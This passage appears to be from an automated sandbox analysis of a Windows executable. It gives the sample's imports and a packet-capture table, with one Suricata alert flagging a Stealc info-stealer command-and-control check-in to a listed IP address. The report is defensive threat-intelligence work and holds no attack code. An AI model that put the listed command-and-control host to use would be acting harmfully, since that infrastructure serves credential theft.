Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x7b058	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T03:16:04.548333+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49711	62.204.41.159	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 03:15:58.946090937 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:15:58.946090937 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:15:59.258563042 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:03.328730106 CEST	49711	80	192.168.2.6	62.204.41.159
Oct 7, 2024 03:16:03.333718061 CEST	80	49711	62.204.41.159	192.168.2.6
Oct 7, 2024 03:16:03.334069014 CEST	49711	80	192.168.2.6	62.204.41.159
Oct 7, 2024 03:16:03.334476948 CEST	49711	80	192.168.2.6	62.204.41.159
Oct 7, 2024 03:16:03.339243889 CEST	80	49711	62.204.41.159	192.168.2.6
Oct 7, 2024 03:16:04.028220892 CEST	80	49711	62.204.41.159	192.168.2.6
Oct 7, 2024 03:16:04.028522015 CEST	49711	80	192.168.2.6	62.204.41.159
Oct 7, 2024 03:16:04.074575901 CEST	49711	80	192.168.2.6	62.204.41.159
Oct 7, 2024 03:16:04.079457045 CEST	80	49711	62.204.41.159	192.168.2.6
Oct 7, 2024 03:16:04.548206091 CEST	80	49711	62.204.41.159	192.168.2.6
Oct 7, 2024 03:16:04.548332930 CEST	49711	80	192.168.2.6	62.204.41.159
Oct 7, 2024 03:16:05.578830004 CEST	49711	80	192.168.2.6	62.204.41.159
Oct 7, 2024 03:16:08.555433989 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:08.555433989 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:08.867913961 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:09.652475119 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:09.652529955 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:09.652600050 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:09.652936935 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:09.652954102 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.297941923 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.298054934 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.300384998 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.300403118 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.300726891 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.309813023 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.351408958 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.413516045 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.413579941 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.413623095 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.413666010 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.413692951 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.413710117 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.413743973 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.496062994 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.496131897 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.496167898 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.496191025 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.496206045 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.496234894 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.497490883 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.497539997 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.497571945 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.497576952 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.497608900 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.497627974 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.582190990 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.582264900 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.582367897 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.582453966 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.582487106 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.582495928 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.582525015 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.582539082 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.582556009 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.582571983 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.582618952 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.582639933 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.583236933 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.583282948 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.583328962 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.583343029 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.583372116 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.583410025 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.584209919 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.584258080 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.584301949 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.584332943 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.584358931 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.584414005 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.669034958 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.669096947 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.669168949 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.669194937 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.669222116 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.669251919 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.669344902 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.669413090 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.669420004 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.669455051 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.669490099 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.669511080 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.670159101 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.670202017 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.670238018 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.670249939 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.670277119 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.670299053 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.670412064 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.670450926 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.670492887 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.670504093 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.670528889 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.670557976 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.670941114 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.671041012 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.671056986 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.671082020 CEST	443	49713	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.671108961 CEST	49713	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.693553925 CEST	443	49706	173.222.162.64	192.168.2.6
Oct 7, 2024 03:16:10.693691969 CEST	49706	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:10.701004982 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.701072931 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.701169968 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.702156067 CEST	49715	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.702198029 CEST	443	49715	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.702253103 CEST	49715	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.702632904 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.702675104 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.702944040 CEST	49715	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.702955008 CEST	443	49715	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.703649998 CEST	49716	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.703743935 CEST	443	49716	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.703813076 CEST	49716	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.703937054 CEST	49716	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.703955889 CEST	443	49716	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.704648018 CEST	49717	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.704688072 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.704740047 CEST	49717	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.705157042 CEST	49718	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.705166101 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.705219030 CEST	49718	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.705292940 CEST	49717	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.705307007 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:10.705382109 CEST	49718	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:10.705400944 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.340869904 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.341636896 CEST	49717	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.341691017 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.342118025 CEST	49717	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.342132092 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.343765974 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.344115973 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.344176054 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.344537973 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.344552040 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.353739023 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.354181051 CEST	49718	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.354197979 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.354655981 CEST	49718	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.354665995 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.369491100 CEST	443	49715	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.369856119 CEST	49715	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.369869947 CEST	443	49715	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.370250940 CEST	49715	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.370255947 CEST	443	49715	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.379004002 CEST	443	49716	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.379344940 CEST	49716	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.379379034 CEST	443	49716	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.379738092 CEST	49716	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.379748106 CEST	443	49716	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.440412998 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.440440893 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.440504074 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.440623999 CEST	49717	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.440623999 CEST	49717	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.440754890 CEST	49717	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.440754890 CEST	49717	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.440798998 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.440825939 CEST	443	49717	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.441282034 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.441343069 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.441407919 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.441448927 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.441485882 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.441499949 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.441529036 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.441629887 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.441629887 CEST	49714	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.441665888 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.441689014 CEST	443	49714	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.443540096 CEST	49719	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.443644047 CEST	443	49719	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.443664074 CEST	49720	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.443722963 CEST	443	49720	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.443943977 CEST	49719	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.444051981 CEST	49720	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.444060087 CEST	49719	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.444084883 CEST	443	49719	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.444243908 CEST	49720	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.444266081 CEST	443	49720	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.452424049 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.452451944 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.452519894 CEST	49718	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.452528954 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.452586889 CEST	49718	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.452692032 CEST	49718	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.452692986 CEST	49718	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.452709913 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.452730894 CEST	443	49718	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.454915047 CEST	49721	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.454967022 CEST	443	49721	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.455086946 CEST	49721	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.455209970 CEST	49721	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.455228090 CEST	443	49721	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.475518942 CEST	443	49715	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.475569963 CEST	443	49715	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.475645065 CEST	49715	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.475815058 CEST	49715	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.475836992 CEST	443	49715	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.475851059 CEST	49715	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.475856066 CEST	443	49715	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.478269100 CEST	49722	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.478321075 CEST	443	49722	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.478405952 CEST	49722	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.478528976 CEST	49722	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.478549004 CEST	443	49722	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.483584881 CEST	443	49716	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.483732939 CEST	443	49716	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.483794928 CEST	49716	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.483980894 CEST	49716	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.484011889 CEST	443	49716	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.484038115 CEST	49716	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.484051943 CEST	443	49716	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.486048937 CEST	49723	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.486099958 CEST	443	49723	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:11.486181021 CEST	49723	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.486300945 CEST	49723	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:11.486323118 CEST	443	49723	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.086177111 CEST	443	49719	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.086952925 CEST	443	49721	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.087110043 CEST	49719	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.087140083 CEST	443	49719	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.087578058 CEST	49719	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.087585926 CEST	443	49719	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.087929964 CEST	49721	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.087964058 CEST	443	49721	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.088326931 CEST	49721	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.088334084 CEST	443	49721	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.090558052 CEST	443	49720	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.091005087 CEST	49720	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.091038942 CEST	443	49720	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.091597080 CEST	49720	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.091603994 CEST	443	49720	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.129307032 CEST	443	49722	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.129864931 CEST	49722	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.129889965 CEST	443	49722	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.130270004 CEST	49722	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.130278111 CEST	443	49722	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.184488058 CEST	443	49723	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.184986115 CEST	49723	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.185013056 CEST	443	49723	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.185550928 CEST	49723	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.185559034 CEST	443	49723	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.186021090 CEST	443	49721	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.186079979 CEST	443	49721	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.186131001 CEST	49721	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.186253071 CEST	49721	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.186280966 CEST	443	49721	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.186300039 CEST	49721	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.186316967 CEST	443	49721	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.186523914 CEST	443	49719	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.186589956 CEST	443	49719	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.186664104 CEST	49719	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.186665058 CEST	49719	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.186665058 CEST	49719	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.189472914 CEST	49724	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.189518929 CEST	443	49724	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.189601898 CEST	49724	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.190196037 CEST	49724	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.190213919 CEST	443	49724	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.190432072 CEST	49725	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.190522909 CEST	443	49725	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.190609932 CEST	49725	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.190743923 CEST	49725	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.190777063 CEST	443	49725	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.191318989 CEST	443	49720	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.191378117 CEST	443	49720	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.191431046 CEST	49720	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.191581011 CEST	49720	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.191600084 CEST	443	49720	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.191613913 CEST	49720	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.191621065 CEST	443	49720	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.194050074 CEST	49726	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.194058895 CEST	443	49726	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.194128036 CEST	49726	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.194334030 CEST	49726	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.194344044 CEST	443	49726	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.230483055 CEST	443	49722	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.230556011 CEST	443	49722	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.230623007 CEST	49722	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.230811119 CEST	49722	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.230832100 CEST	443	49722	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.230845928 CEST	49722	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.230853081 CEST	443	49722	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.233212948 CEST	49727	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.233246088 CEST	443	49727	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.233422041 CEST	49727	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.233611107 CEST	49727	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.233627081 CEST	443	49727	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.295705080 CEST	443	49723	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.295763969 CEST	443	49723	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.295821905 CEST	49723	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.296004057 CEST	49723	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.296014071 CEST	443	49723	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.296027899 CEST	49723	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.296032906 CEST	443	49723	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.298610926 CEST	49728	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.298630953 CEST	443	49728	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.298707962 CEST	49728	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.298852921 CEST	49728	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.298868895 CEST	443	49728	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.492925882 CEST	49719	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.492964029 CEST	443	49719	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.821142912 CEST	443	49725	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.821944952 CEST	49725	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.822010040 CEST	443	49725	13.107.246.60	192.168.2.6
